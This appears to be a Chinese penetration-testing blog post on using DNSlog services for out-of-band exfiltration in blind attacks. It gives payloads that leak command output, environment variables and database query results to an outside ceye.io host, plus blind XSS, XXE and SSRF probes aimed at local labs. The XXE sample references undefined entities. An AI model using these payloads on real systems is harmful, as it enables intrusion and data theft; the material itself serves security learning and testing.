前言

在肾透的过程中,dnslog是不可或缺的好工具。在之前的log4j2的过年事件中,dnslog更是火了一波,直接被干崩了,xs。。。下边我梳理一下在肾透中DNSlog的一些利用姿势。

DNSlog简介

DNS 的全称是 Domain Name System(网络名称系统),它作为将域名和IP地址相互映射,使人更方便地访问互联网。当用户输入某一网址如 www.baidu.com, 网络上的 DNS Server 会将该域名解析,并找到对应的真实 IP 如 127.0.0.1,使用户可以访问这台服务器上相应的服务
。DNSlog 就是存储在 DNS Server 上的域名信息,它记录着用户对域名 www.baidu.com 等的访问信息,类似日志文件。

一些DNs

http://ceye.io。
http://www.dnslog.cn/
https://dig.pm/
当然也可以自己搭建,github上有开源项目,https://github.com/BugScanTeam/DNSLog。

命令盲注回显

判断linux还是windows
* 1.先测试ping.exe test.ob3.ceye.io 是否接收到dnslog解析,如果可以则说明是windows
* 2.再测试ping -c 1 test.ob3.ceye.io,如果可以执行说明是linux。

linux

用反引号可以带出执行的结果,如果因为有其他编码导致不好使的时候,可以base64编码,

ping `whoami`.iqcsit.ceye.io
curl http://iqcsit.ceye.io/`whoami`

执行之后,我们去DNSlog平台查看结果。

Windows

用%包上常用变量。就能用ping带出结果。

ping %USERNAME%.iqcsit.ceye.io
curl http://iqcsit.ceye.io/%APPDATA%

windowns很多变量用ping不好使。用curl就好使了

变量 类型 描述
%ALLUSERSPROFILE% 本地 返回“所有⽤户”配置⽂件的位置。
%APPDATA% 本地 返回默认情况下应⽤程序存储数据的位置。
%CD% 本地 返回当前⽬录字符串。
%CMDCMDLINE% 本地 返回⽤来启动当前的Cmd.exe | 的准确命令⾏。
%CMDEXTVERSION% 系统 返回当前的“命令处理程序扩展”的版本号。
%COMPUTERNAME% 系统 返回计算机的名称。
%COMSPEC% 系统 返回命令⾏解释器可执⾏程序的准确路径。
%DATE% 系统 返回当前⽇期。使⽤与date /t 命令相同的格式。由 Cmd.exe ⽣成。有关 date 命令的详细信息,请参阅Date。
%ERRORLEVEL% 系统 返回上⼀条命令的错误代码。通常⽤⾮零值表示错误。
%HOMEDRIVE% 系统 返回连接到⽤户主⽬录的本地⼯作站驱动器号。基于主⽬录值⽽设置。⽤户主⽬录是在“本地⽤户和组”中指定的。
%HOMEPATH% 系统 返回⽤户主⽬录的完整路径。基于主⽬录值⽽设置。⽤户主⽬录是在“本地⽤户和组”中指定的。
%HOMESHARE% 系统 返回⽤户的共享主⽬录的⽹络路径。基于主⽬录值⽽设置。⽤户主⽬录是在“本地⽤户和组”中指定的。
%LOGONSERVER% 本地 返回验证当前登录会话的域控制器的名称。
%NUMBER_OF_PROCESSORS% 系统 指定安装在计算机上的处理器的数⽬。
%OS% 系统 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
%PATH% 系统 指定可执⾏⽂件的搜索路径。
%PATHEXT% 系统 返回操作系统认为可执⾏的⽂件扩展名的列表。
%PROCESSOR_ARCHITECTURE% 系统 返回处理器的芯⽚体系结构。值:x86 或 IA64(基于 Itanium)。
%PROCESSOR_IDENTFIER% 系统 返回处理器说明。
%PROCESSOR_LEVEL% 系统 返回计算机上安装的处理器的型号。
%PROCESSOR_REVISION% 系统 返回处理器的版本号。
%PROMPT% 本地 返回当前解释程序的命令提示符设置。由Cmd.exe ⽣成。
%RANDOM% 系统 返回 0 到 32767 之间的任意⼗进制数字。由 Cmd.exe ⽣成。如果⽬标系统是linux的话,则可⽤shell语⾔或者
%SYSTEMDRIVE% 系统 返回包含 Windowsserver operating system 根⽬录(即系统根⽬录)的驱动器。
%SYSTEMROOT% 系统 返回 Windowsserver operating system 根⽬录的位置。
%TEMP%和%TMP% 系统和⽤户 返回对当前登录⽤户可⽤的应⽤程序所使⽤的默认临时⽬录。有些应⽤程序需要 TEMP,⽽其他应⽤程序则需要 TMP。
%TIME% 系统 返回当前时间。使⽤与time /t命令相同的格式。由Cmd.exe⽣成。有关time命令的详细信息,请参阅 Time。
%USERDOMAIN% 本地 返回包含⽤户帐户的域的名称。
%USERNAME% 本地 返回当前登录的⽤户的名称。
%USERPROFILE% 本地 返回当前⽤户的配置⽂件的位置。
%WINDIR% 系统 返回操作系统⽬录的位置。

SQL盲注回显

当页面无法正常回显的时候可以考虑这种注入方式,把数据从数据库带出来。
通过DNSlog盲注需要用的load_file()函数,所以一般得是root权限。
show variables like '%secure%';查看load_file()可以读取的磁盘。

  • 当secure_file_priv为空,就可以读取磁盘的目录。
  • 当secure_file_priv为C:\,就可以读取C盘的文件。
  • 当secure_file_priv为null,load_file就不能加载文件。

UNC路径

讲到这就不得不讲UNC路径。UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。
在内网渗透里的$IPC连接所用的就是这个玩意儿。
这儿 因为微软阴阳怪气的喜欢用反斜杠,所以在这本来是两个,因为需要转义,所以有需要加两个就是四个。
payload:
SELECT LOAD_FILE(CONCAT('\\\\',(sql查询语句),'.iqcsit.ceye.io\\abc'));

http://127.0.0.1/sqli-labs-master/Less-1/?id='and (SELECT LOAD_FILE(CONCAT("\\\\",(SELECT database()),".iqcsit.ceye.io\\abc")))--+

XSS盲打

对于没有回显的XSS,我们要想知道是否成功也可以利用img标签src属性填入得到的域名,然后打入xss,当被攻击着浏览时就会自动加载该资源,如果DNSlog有回显,说明存在漏洞。
一般盲打的时候,见框就插。
payload:
http://127.0.0.1/xss-tz/.php?name=%3E%3Cimg%20src=http://xss.iqcsit.ceye.io/abc%3E

XXE

遇到疑似XXE漏洞,如果它可以解析外部实体,那就可以用来读取服务器上的文件,同样远程文件也可以。那我们就可以用来测试。

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % xxe SYSTEM "http://iqcsit.ceye.io/aaa">
%xxe;%int;%send; ]>
<user><username>&test;</username><password>A10ng_</password></user>

SSRF

在遇到SSRF漏洞无回显时,可以利用DNSlog进行验证。
payload:

POST /ssrf/file_get_content.php HTTP/1.1
Host: 127.0.0.1

file=http://iqcsit.ceye.io/aaa&read=load+file